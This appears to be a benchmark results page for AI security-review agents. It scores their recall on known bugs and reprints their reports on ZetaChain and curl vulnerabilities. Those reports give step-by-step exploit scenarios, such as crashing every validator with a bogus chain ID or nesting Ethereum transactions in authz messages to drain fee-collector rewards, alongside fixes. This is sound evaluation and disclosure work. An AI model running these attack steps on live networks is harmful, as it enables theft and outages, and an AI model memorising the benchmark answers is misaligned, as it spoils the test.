1. The attacker calls ZetaConnector.send on a monitored EVM chain with a destinationChainId that is not in DefaultChainsList (for example 0xdeadbeef). They could also use a known non-EVM chain ID such as the BTC chain ID, which has no ChainConfigs entry in the testnet/privnet builds. zetaValueAndGas can be zero or minimal, so the only cost is gas. This relies on the connector's send() not validating the destination chain, as in the upstream ZetaConnector; the Solidity source is not in this repo, only the ABI and bytecode bindings.
2. Within one scan window (MaxBlocksPerPeriod=100 blocks) every validator's zetaclient runs observeInTX over the block holding the log.
3. FilterZetaSent yields the event and the code dereferences a nil *Chain (or nil *ChainETHish). The panic occurs in the ExternalChainWatcher goroutine, there is no recover() anywhere in zetaclient or cmd, and the whole process exits.
4. lastBlock and PosKey are only advanced at the end of observeInTX (lines 731-734), so on restart the same block range is rescanned and the process crashes again, until an operator manually sets <CHAIN>_SCAN_FROM or patches the code.
- Recommendation
-
Check for nil from GetChainFromChainID and for a missing config.ChainConfigs entry before dereferencing, and skip or log the event. Also check that DestinationChainId fits in int64. Wrap the per-event processing in a recover so one malformed external event cannot kill the process, and advance the scan cursor past unprocessable logs.
Claude Security (Opus 5.5)
Attacker-chosen DestinationChainId in a ZetaSent event dereferences nil and crash-loops every zetaclient
zetaclient/evm_client.go:566Predicted severity: High- Root cause
-
Vulnerable symbol: observeInTX
Preconditions: Inbound is enabled in zetacore permission flags (the default); The EVM ZetaConnector send() accepts any destinationChainId (true of the public connector contract; its source is not in this repository)
Offending code:
if strings.EqualFold(destAddr, config.ChainConfigs[destChain.ChainName.String()].ZETATokenContractAddress) {
- Impact
-
Anyone who can pay gas on a supported EVM chain can halt the whole cross-chain bridge. Every observer and TSS signer goes into a crash loop, so deposits and withdrawals on all chains freeze. This is a liveness failure across the network.
- Description
-
Any EVM user sets
event.DestinationChainIdby calling the connector'ssend. That value goes tocommon.GetChainFromChainID, which returns nil for an unknown id (common/chain.go:104-112). Line 566 then readsdestChain.ChainNamewith no nil check. A chain id that is known but has no ETH-style config (for example btc_testnet) also panics, becauseconfig.ChainConfigs[...]is a nil*ChainETHish. - Exploit scenario
-
1. The attacker calls ZetaConnector.send on an observed EVM chain (Goerli, BSC testnet, Mumbai, and so on) with destinationChainId = 999999 and zetaValueAndGas = 0 or 1 wei.
2. After the confirmation depth, every observer's ExternalChainWatcher goroutine reaches line 566 and panics with a nil pointer dereference.
3. Nothing recovers the panic, so the whole zetaclientd process exits on every validator.
4. On restart, BuildBlockIndex reads the old PosKey from leveldb, scans the same block again and panics again.
5. Inbound observation, outbound TSS signing and gas-price voting stop on all chains until operators manually set
<chain>_SCAN_FROMpast the block (also skipping legitimate deposits) or patch the code. - Recommendation
-
Check that
GetChainFromChainIDreturned a non-nil chain and thatconfig.ChainConfigs[...]exists before using either. If the chain is unsupported, log it and skip the event (continue) instead of dereferencing. Add a recover() at the top of each observer goroutine so a single bad event cannot kill the process. Store the scanned-block position in a way that cannot get stuck on one block that always fails.
-
Ethermint Ante handler bypass zetachain-11 · 3 writeups High
Devin Security (Deep)
EVM transactions wrapped in authz MsgExec skip the Ethereum ante handler, allowing fee collector theft and unbounded EVM execution
app/ante/handler_options.go:45Predicted severity: Critical- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone with a funded ZetaChain account can run Ethereum style transactions without paying their gas, get a refund from the fee collector for gas they never paid, and make every validator execute an EVM call with an effectively unlimited gas budget.
##### What's wrong
This is an authentication and fee bypass through message wrapping. The Cosmos ante chains in this file only reject a
MsgEthereumTxwhen it sits at the top level of a transaction. Thex/authzmodule is enabled and itsMsgExeccarries nested messages, so aMsgEthereumTxplaced insideMsgExecpassesRejectMessagesDecoratorand runs through the Cosmos ante chain instead ofnewEthAnteHandler. None of the Ethereum checks run: no gas fee is deducted, no nonce is checked, no base fee or gas cap is enforced.##### Who can do it
Mallory holds a normal ZetaChain account with a little ZETA for fees. She signs an Ethereum transaction with her own key, giving it a gas limit of several million and a very high gas price. She puts that transaction inside an
authz.MsgExecwhere she is both granter and grantee, wraps it in a normal Cosmos transaction, and broadcasts it.- Mallory needs a ZetaChain account with enough ZETA to pay the small Cosmos fee at the fee market minimum gas price.
- The
x/authzmodule is registered inapp/app.go, soMsgExecis routable.- No decorator in
newCosmosAnteHandlerornewCosmosAnteHandlerNoGasLimitinspects nested messages.##### What they get
The EVM keeper refunds
(gasLimit - gasUsed) * gasPriceto the sender from the fee collector account after every EVM transaction, assuming the ante handler already took that money. Mallory never paid it, so every refund is pure profit taken from the fee collector. At execution time the fee collector holds the current block's validator emission rewards (the emissions BeginBlocker sends them there after distribution runs) plus all fees paid earlier in the block. Mallory can size her gas price so the refund equals that balance and repeat it every block, stealing the validator and delegator reward stream from everyone on the network. Separately, because the Ethereum gas cap and gas fee checks are skipped, she can submit an EVM call with a gas limit near the int64 maximum that loops forever; validators run it to completion in DeliverTx before any Cosmos gas accounting fires, which stalls block production for the whole chain.##### How it works
1. Mallory builds a signed
MsgEthereumTxand nests it inauthz.MsgExecwith herself as grantee; authz skips the grant lookup when granter equals grantee.2. The transaction has no Ethereum extension option, so
NewAnteHandlerinapp/ante/ante.go:92-116routes it tonewCosmosAnteHandler(ornewCosmosAnteHandlerNoGasLimit).3.
ethante.RejectMessagesDecorator{}atapp/ante/handler_options.go:47and:69loops overtx.GetMsgs()only, sees aMsgExec, and lets it through; no decorator unwraps nested messages.4. The Cosmos chain deducts only the small Cosmos fee and verifies only Mallory's Cosmos signature; the Ethereum fee deduction, nonce check, base fee check and
MaxTxGasWantedcap innewEthAnteHandler(lines 29-42) never run.5.
authz.MsgExecdispatches the nested message to the EVMEthereumTxhandler, which callsApplyTransaction, executes the EVM with the full attacker chosen gas limit, and then callsRefundGas, which sends(gasLimit - gasUsed) * gasPricefrom the fee collector module account to Mallory.6. Mallory repeats this each block to drain the fee collector, or uses a huge gas limit with a looping contract to stall validators.
- Exploit scenario
-
Not specified.
- Recommendation
-
Add an authz limiting decorator to both Cosmos ante chains, placed right after
RejectMessagesDecorator, that recursively walksauthz.MsgExecmessages and rejects any transaction that nestsMsgEthereumTx(and other messages that depend on ante handler side effects, such as vesting account creation). Ethermint v0.22.0 shipsAuthzLimiterDecoratorfor exactly this purpose; upgrading Ethermint or copying that decorator both work. Verify the fix by building a transaction containingMsgExec{MsgEthereumTx}with granter equal to grantee and confirming it is rejected in CheckTx with an invalid type error, and by adding a unit test that asserts nestedMsgEthereumTxat depth 1 and depth 2 are rejected.
Claude Security (Sonnet 5.5)
authz MsgExec can wrap MsgEthereumTx and bypass the Ethereum ante handler (no fee, nonce or gas-cap enforcement)
app/ante/handler_options.go:47Predicted severity: High- Root cause
-
Vulnerable symbol: newCosmosAnteHandler
Preconditions: A funded account whose key can sign both an Ethereum tx and a Cosmos tx (eth_secp256k1 is the default key type); Ethermint v0.21.0 EthereumTx msg server refunds leftover gas from the fee collector and does not itself enforce the ante-only invariants (from memory; the dependency is not in the audit tree, so not verified)
Offending code:
ethante.RejectMessagesDecorator{}, // reject MsgEthereumTxs
- Impact
-
An attacker holding any funded eth_secp256k1 account can run EVM transactions without paying gas, without nonce consumption, and with an attacker-chosen EVM gas limit. Per Ethermint's msg-server design (not readable here, so this part is unverified), leftover gas is refunded from the fee collector at the attacker-chosen gas price. That would let the attacker drain the fee collector, which here also holds the validator emission share sent by x/emissions at BeginBlock (x/emissions/abci.go:23-26). A huge EVM gas limit with a pure-compute loop could stall block execution on all validators.
- Description
-
The app registers the SDK authz module (app/app.go:358, 480), but the only guard against MsgEthereumTx in the Cosmos ante chain is RejectMessagesDecorator. It checks only the top-level tx.GetMsgs(), so a MsgEthereumTx nested in an authz MsgExec reaches the EVM msg server without any of the Ethereum ante decorators (sig/nonce/balance/fee deduction/gas-limit). No AuthzLimiter/DisabledAuthzMsgs decorator exists anywhere in the repo.
- Exploit scenario
-
1) Attacker signs a legacy Ethereum tx with their own key: gas limit about 20M, gas price chosen to fit the fee collector balance, a trivial transfer to self. 2) Attacker wraps it in authz MsgExec with grantee equal to their own address. For MsgEthereumTx the signer is recovered from the eth signature, so the grantee equals the signer and no grant is needed. 3) The attacker signs the outer Cosmos tx with the same key. 4) The Cosmos ante chain (newCosmosAnteHandler or the NoGasLimit variant) only inspects the top-level MsgExec, so RejectMessagesDecorator passes. 5) authz dispatches the inner MsgEthereumTx to the EVM msg server. The Ethereum ante decorators (EthGasConsume, EthIncrementSenderSequence and the others) never run. The EVM then executes and the leftover-gas refund is paid from the fee collector, or the attacker uses an unbounded gas limit with a compute loop.
- Recommendation
-
Add an AuthzLimiter-style ante decorator that walks nested MsgExec messages recursively. It should reject MsgEthereumTx and MsgCreateVestingAccount (and any other message that depends on ante-time checks) inside authz. Put it first in newCosmosAnteHandler, newCosmosAnteHandlerNoGasLimit, and the legacy EIP-712 handler. Make RejectMessagesDecorator recurse into MsgExec as well.
Claude Security (Opus 5.5)
MsgEthereumTx wrapped in authz MsgExec skips the Ethereum ante checks, letting a user drain the fee collector through gas refunds
app/ante/handler_options.go:47Predicted severity: High- Root cause
-
Vulnerable symbol: newCosmosAnteHandler
Preconditions: Attacker has an eth_secp256k1 account with enough balance to pay a small Cosmos fee; Fee collector holds a balance during the block (emissions rewards / EVM prepaid fees); Behaviour of ethermint v0.21.0 EthereumTx/RefundGas taken from the dependency, which is not vendored in the repo
Offending code:
ethante.RejectMessagesDecorator{}, // reject MsgEthereumTxs
- Impact
-
Theft of every block's validator emission rewards and of other users' prepaid EVM gas fees held in the fee collector. Honest EVM txs that need a refund fail, and EVM execution becomes free of fees and nonce checks.
- Description
-
The authz module is wired to the app MsgServiceRouter (app.go:358-362). The Cosmos ante chains only reject MsgEthereumTx at the top level through RejectMessagesDecorator, and neither those chains nor the HandlerOptions in app.go:568-576 add an authz limiter. So a MsgEthereumTx nested in MsgExec reaches the EVM msg server without fee deduction, nonce, balance or gas checks. The EVM keeper then pays leftoverGas*gasPrice from the fee collector to the sender.
- Exploit scenario
-
The attacker uses an eth_secp256k1 key, so the same address controls both its Cosmos account and its Ethereum account. It signs an Ethereum dynamic-fee tx (for example a plain transfer) with gas limit G and a huge gasFeeCap/gasTipCap P. It wraps this tx as a MsgEthereumTx inside an authz MsgExec where the grantee is the attacker's own Cosmos account. The eth tx signer is the same address, so authz needs no grant. The outer Cosmos tx passes newCosmosAnteHandler because RejectMessagesDecorator only looks at the top-level MsgExec. The EVM ante checks (fee deduction, nonce, balance, max gas) never run. In the msg server, ApplyTransaction executes the tx and RefundGas sends (G - gasUsed)*P azeta from the fee_collector module account to the attacker, even though no fee was prepaid. The attacker sizes P so the refund equals the fee collector's balance. That balance includes the validator emission rewards that x/emissions moves into it every BeginBlock after distribution, plus the prepaid fees of other EVM txs in the block. The attack can be repeated every block. Other users' EVM refunds in the same block then fail.
- Recommendation
-
Add an authz limiter decorator to every Cosmos ante chain (newCosmosAnteHandler, newCosmosAnteHandlerNoGasLimit and the legacy EIP-712 chain). It must recursively reject MsgEthereumTx (and other sensitive types) nested inside authz.MsgExec and authz.MsgGrant authorizations. Set DisabledAuthzMsgs in HandlerOptions accordingly.
-
Unbonded validators prevent the TSS vote from passing zetachain-12 · 4 writeups Medium
V12
Ineligible validator records inflate the consensus denominator
x/crosschain/keeper/keeper_tss_voter.go:104Predicted severity: Informational- Root cause
-
CreateTSSVoterassumes the population returned byGetAllValidatorsis identical to the bonded population accepted byIsBondedValidator. That assumption is not enforced at the tally site. - Impact
-
The specific unresolved security question is whether an external account can obstruct TSS registration by creating a nonbonded record counted by
GetAllValidators. Missing facts are the pinned dependency's enumeration predicate and validator-creation/admission rules; repository-wide dependency-file searches, the expected-keeper interface, application wiring, and observer hooks were checked, but the Cosmos staking source was unavailable. The retrieved signing client uses local key material, so no custody-fund freeze is established by a failed on-chain registration alone. - Description
-
CreateTSSVoterobtains its promotion denominator fromGetAllValidators, but admits votes only throughIsBondedValidator, which requiresv.IsBonded(). The handler neither filters the denominator nor records an eligible-voter snapshot. If the wired staking keeper returns an unbonded or unbonding validator along with the bonded validators, unanimous votes from the currently eligible identities cannot reach the required count. Adding a validator record without obtaining bonded status would consequently obstruct new TSS registration rather than merely add an eligible voter. The application wires the Cosmos staking keeper directly, but its dependency implementation is not present in the retrieved workspace, so the record-enumeration and creation preconditions remain unverified.
Codex Security (GPT-6 Sol)
Unbonded validator records can block TSS finalization
x/crosschain/keeper/keeper_tss_voter.go:104Predicted severity: Medium- Root cause
-
CreateTSSVoter obtains GetAllValidators and permits only bonded validators to sign, then compares distinct signer count with the length of the unfiltered list. Ineligible records remain in the denominator.
- Impact
-
TSS setup or rotation can stall when the staking store includes an unbonded validator; the condition can arise during normal validator churn.
- Description
-
The TSS voter accepts only bonded validators but requires votes equal to every stored validator, so a single unbonded record makes the threshold unreachable.
- Exploit scenario
-
CreateTSSVoter obtains GetAllValidators and permits only bonded validators to sign, then compares distinct signer count with the length of the unfiltered list. Ineligible records remain in the denominator.
- Recommendation
-
Compute a stable eligible bonded-validator set and use the same set for vote authorization and finalization threshold.
Devin Security (Deep)
TSS vote finalization compares bonded signers against all validators, so one unbonded or unbonding validator blocks every TSS key update
x/crosschain/keeper/keeper_tss_voter.go:104Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A TSS key update can never finalize while any validator is unbonded or unbonding, so a single stale or departing validator freezes key rotation, which matters most when operators need to rotate away from a compromised key.
##### What's wrong
This is a mismatched-set logic bug. Only bonded validators may vote (
IsBondedValidator), but the finalization rule requires the signer count to equal the size ofGetAllValidators, which includes unbonding and unbonded validators. The two sets differ whenever any validator is not bonded, so the equality can never be met.##### Who can do it
Acme Corp runs the ZetaChain validator set. Mallory operates one validator and starts unbonding it, or simply never votes. From then on every
MsgCreateTSSVoterround collects at most the bonded validators' votes and never reacheslen(validators).Conditions:
- At least one validator in
GetAllValidatorsis not bonded, or one bonded validator withholds its vote.##### What they get
Mallory prevents the network from recording a new TSS key. Acme cannot rotate the key that holds bridged funds, including after a suspected key compromise, until the staking set is cleaned up.
##### How it works
1.
CreateTSSVoterinx/crosschain/keeper/keeper_tss_voter.go:107-110rejects any signer that is not a bonded validator.2. Finalization at
keeper_tss_voter.go:139requireslen(tssVoter.Signers) == len(validators)wherevalidatorsisGetAllValidators, including non-bonded entries.3. With any non-bonded validator present, the signer count stays below the validator count and
SetTSSnever runs. - Exploit scenario
-
Not specified.
- Recommendation
-
Count only bonded validators when deciding finalization (for example use
GetBondedValidatorsByPoweror filtervalidatorswithIsBonded), and consider a supermajority threshold instead of unanimity. Verify by unbonding one validator on a localnet and confirming that the remaining bonded validators can still finalize a TSS vote.
Claude Security (Sonnet 5.5)
TSS finalization quorum compares bonded signers against all validators (including unbonded/jailed), letting a dust validator block TSS creation
x/crosschain/keeper/keeper_tss_voter.go:139Predicted severity: Low- Root cause
-
Vulnerable symbol: msgServer.CreateTSSVoter
Preconditions: Attacker can create a validator with a minimal self-delegation, or an honest validator is jailed or unbonded; TSS key not yet set or in need of rotation
Offending code:
if len(tssVoter.Signers) == len(validators) {
- Impact
-
Anyone can create a minimal-stake validator that never enters the active set (or a validator can be jailed). From then on MsgCreateTSSVoter can never finalize SetTSS, so TSS keygen or rotation is blocked and cross-chain outbounds that depend on a TSS key cannot start. The strict '==' also stalls if the validator set shrinks after votes were cast.
- Description
-
Only bonded validators may sign (IsBondedValidator, line 108), but the 'full consensus' denominator is len(StakingKeeper.GetAllValidators), which counts Unbonded, Unbonding and Jailed validators too. Equality can therefore never be reached while any non-bonded validator exists.
- Exploit scenario
-
Before keygen, an attacker submits MsgCreateValidator with a dust self-delegation that stays Unbonded. All bonded validators send identical MsgCreateTSSVoter. len(Signers) tops out at the number of bonded validators, which is below len(validators), so the TSS record is never written.
- Recommendation
-
Compute the quorum over the same set that is allowed to sign (bonded, non-jailed validators at the time of finalization). Use >= and verify every bonded validator has signed, instead of comparing against the total validator count.
-
-
Private Fixture #1 Rust Tasks 15 V12 14/15 Codex Sec 7/15 Pashov Opus — Pashov GPT-6 — Devin 5/15 Devin (Deep) 10/15 Claude Sec 10/15 Claude Opus 8/15 Vercel 7/15
Source redacted (private engagement)
- [redacted finding] private-1-001 Critical
- [redacted finding] private-1-002 Critical
- [redacted finding] private-1-003 Critical
- [redacted finding] private-1-004 Critical
- [redacted finding] private-1-005 Critical
- [redacted finding] private-1-006 High
- [redacted finding] private-1-007 High
- [redacted finding] private-1-008 High
- [redacted finding] private-1-009 High
- [redacted finding] private-1-010 High
- [redacted finding] private-1-011 Medium
- [redacted finding] private-1-012 Medium
- [redacted finding] private-1-013 Medium
- [redacted finding] private-1-014 Medium
- [redacted finding] private-1-015 Medium
-
-
Private Fixture #2 Rust Tasks 24 V12 18/24 Codex Sec 7/24 Pashov Opus — Pashov GPT-6 — Devin 8/24 Devin (Deep) 7/24 Claude Sec 6/24 Claude Opus 6/24 Vercel 4/24
Source redacted (private engagement)
- [redacted finding] private-2-001 Critical
- [redacted finding] private-2-002 Critical
- [redacted finding] private-2-003 Critical
- [redacted finding] private-2-004 Critical
- [redacted finding] private-2-005 Critical
- [redacted finding] private-2-006 Critical
- [redacted finding] private-2-007 Critical
- [redacted finding] private-2-008 High
- [redacted finding] private-2-009 High
- [redacted finding] private-2-010 High
- [redacted finding] private-2-011 High
- [redacted finding] private-2-012 High
- [redacted finding] private-2-013 High
- [redacted finding] private-2-014 High
- [redacted finding] private-2-015 High
- [redacted finding] private-2-016 High
- [redacted finding] private-2-017 Medium
- [redacted finding] private-2-018 Medium
- [redacted finding] private-2-019 Medium
- [redacted finding] private-2-020 Medium
- [redacted finding] private-2-021 Medium
- [redacted finding] private-2-022 Medium
- [redacted finding] private-2-023 Medium
- [redacted finding] private-2-024 Medium
-
-
Private Fixture #3 Rust Tasks 70 V12 55/70 Codex Sec 19/70 Pashov Opus — Pashov GPT-6 — Devin 0/70 Devin (Deep) 17/70 Claude Sec 10/70 Claude Opus 9/70 Vercel 3/70
Source redacted (private engagement)
- [redacted finding] private-3-001 Critical
- [redacted finding] private-3-002 Critical
- [redacted finding] private-3-003 Critical
- [redacted finding] private-3-004 High
- [redacted finding] private-3-005 High
- [redacted finding] private-3-006 High
- [redacted finding] private-3-007 High
- [redacted finding] private-3-008 High
- [redacted finding] private-3-009 High
- [redacted finding] private-3-010 High
- [redacted finding] private-3-011 High
- [redacted finding] private-3-012 High
- [redacted finding] private-3-013 High
- [redacted finding] private-3-014 High
- [redacted finding] private-3-015 High
- [redacted finding] private-3-016 High
- [redacted finding] private-3-017 High
- [redacted finding] private-3-018 High
- [redacted finding] private-3-019 High
- [redacted finding] private-3-020 High
- [redacted finding] private-3-021 High
- [redacted finding] private-3-022 High
- [redacted finding] private-3-023 High
- [redacted finding] private-3-024 High
- [redacted finding] private-3-025 High
- [redacted finding] private-3-026 High
- [redacted finding] private-3-027 High
- [redacted finding] private-3-028 High
- [redacted finding] private-3-029 Medium
- [redacted finding] private-3-030 Medium
- [redacted finding] private-3-031 Medium
- [redacted finding] private-3-032 Medium
- [redacted finding] private-3-033 Medium
- [redacted finding] private-3-034 Medium
- [redacted finding] private-3-035 Medium
- [redacted finding] private-3-036 Medium
- [redacted finding] private-3-037 Medium
- [redacted finding] private-3-038 Medium
- [redacted finding] private-3-039 Medium
- [redacted finding] private-3-040 Medium
- [redacted finding] private-3-041 Medium
- [redacted finding] private-3-042 Medium
- [redacted finding] private-3-043 Medium
- [redacted finding] private-3-044 Medium
- [redacted finding] private-3-045 Medium
- [redacted finding] private-3-046 Medium
- [redacted finding] private-3-047 Medium
- [redacted finding] private-3-048 Medium
- [redacted finding] private-3-049 Medium
- [redacted finding] private-3-050 Medium
- [redacted finding] private-3-051 Medium
- [redacted finding] private-3-052 Medium
- [redacted finding] private-3-053 Medium
- [redacted finding] private-3-054 Medium
- [redacted finding] private-3-055 Medium
- [redacted finding] private-3-056 Medium
- [redacted finding] private-3-057 Medium
- [redacted finding] private-3-058 Medium
- [redacted finding] private-3-059 Medium
- [redacted finding] private-3-060 Medium
- [redacted finding] private-3-061 Medium
- [redacted finding] private-3-062 Medium
- [redacted finding] private-3-063 Medium
- [redacted finding] private-3-064 Medium
- [redacted finding] private-3-065 Medium
- [redacted finding] private-3-066 Medium
- [redacted finding] private-3-067 Medium
- [redacted finding] private-3-068 Medium
- [redacted finding] private-3-069 Medium
- [redacted finding] private-3-070 Medium
-
-
Private Fixture #4 Rust Tasks 27 V12 22/27 Codex Sec 5/27 Pashov Opus — Pashov GPT-6 — Devin 6/27 Devin (Deep) 11/27 Claude Sec 5/27 Claude Opus 5/27 Vercel 2/27
Source redacted (private engagement)
- [redacted finding] private-4-001 Critical
- [redacted finding] private-4-002 Critical
- [redacted finding] private-4-003 Critical
- [redacted finding] private-4-004 Critical
- [redacted finding] private-4-005 Critical
- [redacted finding] private-4-006 High
- [redacted finding] private-4-007 High
- [redacted finding] private-4-008 High
- [redacted finding] private-4-009 Medium
- [redacted finding] private-4-010 Medium
- [redacted finding] private-4-011 Medium
- [redacted finding] private-4-012 Medium
- [redacted finding] private-4-013 Medium
- [redacted finding] private-4-014 Medium
- [redacted finding] private-4-015 Medium
- [redacted finding] private-4-016 Medium
- [redacted finding] private-4-017 Medium
- [redacted finding] private-4-018 Medium
- [redacted finding] private-4-019 Medium
- [redacted finding] private-4-020 Medium
- [redacted finding] private-4-021 Medium
- [redacted finding] private-4-022 Medium
- [redacted finding] private-4-023 Medium
- [redacted finding] private-4-024 Medium
- [redacted finding] private-4-025 Medium
- [redacted finding] private-4-026 Medium
- [redacted finding] private-4-027 Medium
-
-
Private Fixture #5 C++ Tasks 28 V12 21/28 Codex Sec 6/28 Pashov Opus — Pashov GPT-6 — Devin 6/28 Devin (Deep) 10/28 Claude Sec 14/28 Claude Opus 13/28 Vercel 3/28
Source redacted (private engagement)
- [redacted finding] private-5-001 Critical
- [redacted finding] private-5-002 Critical
- [redacted finding] private-5-003 Critical
- [redacted finding] private-5-004 Critical
- [redacted finding] private-5-005 Critical
- [redacted finding] private-5-006 Critical
- [redacted finding] private-5-007 Critical
- [redacted finding] private-5-008 Critical
- [redacted finding] private-5-009 High
- [redacted finding] private-5-010 Critical
- [redacted finding] private-5-011 High
- [redacted finding] private-5-012 Medium
- [redacted finding] private-5-013 Medium
- [redacted finding] private-5-014 Critical
- [redacted finding] private-5-015 Critical
- [redacted finding] private-5-016 Critical
- [redacted finding] private-5-017 Critical
- [redacted finding] private-5-018 Critical
- [redacted finding] private-5-019 Critical
- [redacted finding] private-5-020 Critical
- [redacted finding] private-5-021 Critical
- [redacted finding] private-5-022 Critical
- [redacted finding] private-5-023 Critical
- [redacted finding] private-5-024 Critical
- [redacted finding] private-5-025 Critical
- [redacted finding] private-5-026 Critical
- [redacted finding] private-5-027 Critical
- [redacted finding] private-5-028 High
-
Data generated · 14 fixtures · 94 tasks
General Security Bench measures AI security agents’ ability to identify vulnerabilities outside crypto. It includes 94 ground-truth vulnerabilities across 14 open-source projects, spanning Rust, C++, Go, C, Java, Python, Ruby, and Haskell codebases. We compare V12 with Devin Security (Deep), Devin Security, Codex Security, Claude Security (run on Claude Sonnet 5.5 and on Claude Opus 5.5), and Vercel Security Review.
Overall performance
We ran each system against the codebases in General Security Bench. We report recall, the fraction of ground truth bugs each system successfully identified.
| System | Detected | Recall |
|---|---|---|
| V12 | 62 / 94 | 66.0% |
| Devin Security (Deep) | 49 / 94 | 52.1% |
| Claude Security (Opus 5.5) | 35 / 94 | 37.2% |
| Claude Security (Sonnet 5.5) | 32 / 94 | 34.0% |
| Devin Security | 28 / 94 | 29.8% |
| Vercel Security Review | 23 / 94 | 24.5% |
| Codex Security (GPT-6 Sol) | 22 / 94 | 23.4% |
Performance by language
Recall grouped by language.
| Language | V12 | Devin Security (Deep) | Devin Security | Codex Security (GPT-6 Sol) | Claude Security (Sonnet 5.5) | Claude Security (Opus 5.5) | Vercel Security Review |
|---|---|---|---|---|---|---|---|
| Rust | 100.0% (3 of 3) | 100.0% (3 of 3) | 100.0% (3 of 3) | 100.0% (3 of 3) | 100.0% (3 of 3) | 100.0% (3 of 3) | 100.0% (3 of 3) |
| C++ | 58.3% (7 of 12) | 41.7% (5 of 12) | 16.7% (2 of 12) | 33.3% (4 of 12) | 41.7% (5 of 12) | 41.7% (5 of 12) | 41.7% (5 of 12) |
| Go | 62.5% (10 of 16) | 56.3% (9 of 16) | 31.3% (5 of 16) | 12.5% (2 of 16) | 37.5% (6 of 16) | 31.3% (5 of 16) | 18.8% (3 of 16) |
| C | 75.0% (6 of 8) | 50.0% (4 of 8) | 12.5% (1 of 8) | 12.5% (1 of 8) | 12.5% (1 of 8) | 25.0% (2 of 8) | 12.5% (1 of 8) |
| Java | 80.0% (12 of 15) | 66.7% (10 of 15) | 40.0% (6 of 15) | 26.7% (4 of 15) | 40.0% (6 of 15) | 46.7% (7 of 15) | 26.7% (4 of 15) |
| Python | 75.0% (18 of 24) | 54.2% (13 of 24) | 33.3% (8 of 24) | 25.0% (6 of 24) | 37.5% (9 of 24) | 50.0% (12 of 24) | 25.0% (6 of 24) |
| Ruby | 42.9% (6 of 14) | 28.6% (4 of 14) | 14.3% (2 of 14) | 14.3% (2 of 14) | 14.3% (2 of 14) | 7.1% (1 of 14) | 7.1% (1 of 14) |
| Haskell | 0.0% (0 of 2) | 50.0% (1 of 2) | 50.0% (1 of 2) | 0.0% (0 of 2) | 0.0% (0 of 2) | 0.0% (0 of 2) | 0.0% (0 of 2) |
Detailed results
List of all ground-truth vulnerabilities included in General Security Bench, along with the vulnerability reports generated by each system tested.
-
curl C URL transfer library and CLI. Tasks 4 V12 2/4 Devin (Deep) 3/4 Devin 0/4 Codex Sec 0/4 Claude Sec 1/4 Claude Opus 2/4 Vercel 0/4
URL transfer library and CLI.
-
Libcurl URI parser accepts invalid characters curl-2 · 1 writeup Medium
Devin Security (Deep)
URL parser accepts many reserved characters in host names, including percent-decoded ones
curl/lib/urlapi.c:630Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A program that checks or allowlists URLs before passing them to libcurl can be confused by host names that contain quotes, brackets, backslashes and similar characters, which curl accepts but other URL parsers treat differently.
##### What's wrong
This is an incomplete denylist. `hostname_check()` rejects only space, CR, LF, tab and `/:#?!@` in a non-IPv6 host name. It accepts `{}[]\$'"^`*<>=;,&+()` and these can also arrive percent-encoded, because `decode_host()` decodes the host first. Other URL parsers (browsers, WHATWG-style parsers, many allowlist checks) reject or split on these characters. Two parsers that disagree on where a host ends or what it is make allowlist bypass possible.
##### Who can do it
Alice runs a webhook service at Acme Corp that validates a user-supplied URL with one parser and then fetches it with libcurl. Mallory, a user of the service, submits a URL whose host contains a backslash or quote character, either raw or as
%5cor%22. Alice's check reads the host one way, and curl uses the decoded host in DNS, theHostheader and SNI.- The application passes attacker-supplied URLs to libcurl.
- The application relies on a different parser or a string check to decide which hosts are allowed.
##### What they get
In the right application, Mallory gets curl to connect to a host the application meant to block. The code in this batch does not show a direct exploit, because CR, LF and space are still rejected so header injection is not possible. The impact depends on the calling application.
##### How it works
1.
parseurl()callsdecode_host(), which percent-decodes the host (urlapi.c:1244, urlapi.c:746).2.
hostname_check()then rejects only the characters in" \r\n\t/:#?!@"(urlapi.c:632), so decoded or raw reserved characters pass.3. The accepted host is stored in
u->hostand later used by curl for name resolution and request headers. - Exploit scenario
-
Not specified.
- Recommendation
-
Extend the `strcspn()` set in `hostname_check()` to also reject `{}[]\\$'"^`*<>=;,+&()` and `%`, as upstream did in commits eb0167ff7 and c20b35dda after a Trail of Bits audit. To check the fix, extend test 1560 so that `http://a%22b.com/`, `http://a{b.com/` and `http://a&b.com/` return `CURLUE_BAD_HOSTNAME`.
- libcurl Alt-Svc parser accepts invalid port numbers curl-3 Medium
-
Double free when using HTTP proxy with specific protocols curl-7 · 4 writeups High
V12
Null protocol context restoration leaves dangling request ownership
curl/lib/http_proxy.c:174Predicted severity: High- Root cause
-
Restoration uses NULL as a sentinel for 'nothing to restore', although NULL is a valid original protocol-context value. Freeing the temporary CONNECT state therefore leaves its address in the request ownership union.
- Impact
-
A tunneled DICT or GOPHER transfer can corrupt the heap during normal cleanup or reuse of the easy handle, even if CONNECT succeeds. An untrusted proxy also controls failure and completion timing for this memory-safety path; process termination is supported, while code execution has not been demonstrated.
- Description
-
connect_init()installs&s->http_proxyin the request protocol union even when the saved protocol pointer is NULL.Curl_connect_done()restores the union only whens->prot_saveis non-NULL, leaving that temporary pointer installed for protocols that do not allocate request state during connection setup. DICT and GOPHER provide concrete callers because their handlers have no setup callback. After a successful tunnel, enteringMSTATE_DOfreessthroughCurl_connect_free()without clearing the request union. A laterCurl_free_request_state(), including normal easy-handle cleanup or the next transfer, frees that dangling pointer again; error-time connection destruction creates the same dangling state.
Devin Security (Deep)
A refused proxy CONNECT leaves the request pointer aimed at freed tunnel state for telnet, dict, gopher, ldap and rtmp
curl/lib/http_proxy.c:190Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
An HTTP proxy that refuses a CONNECT for a telnet://, dict://, gopher://, ldap:// or rtmp:// transfer makes curl free the tunnel state twice, which can crash the client.
##### What's wrong
This is a double free caused by a pointer that is not restored. Curl_connect_done() only restores data->req.p.http when the saved pointer is non-NULL, so for protocols that had no request struct, the pointer keeps aiming at the tunnel state after the connection frees it.
##### Who can do it
Alice, an engineer at Acme Corp, runs a script that queries dict://dict.example.org through an HTTP proxy with tunneling. Mallory operates the proxy, or the proxy is simply set to allow only port 443. The proxy answers the CONNECT with 403.
- The URL scheme is one whose handler does not set data->req.p before CONNECT: telnet, dict, gopher, gophers, ldap, ldaps or the rtmp variants.
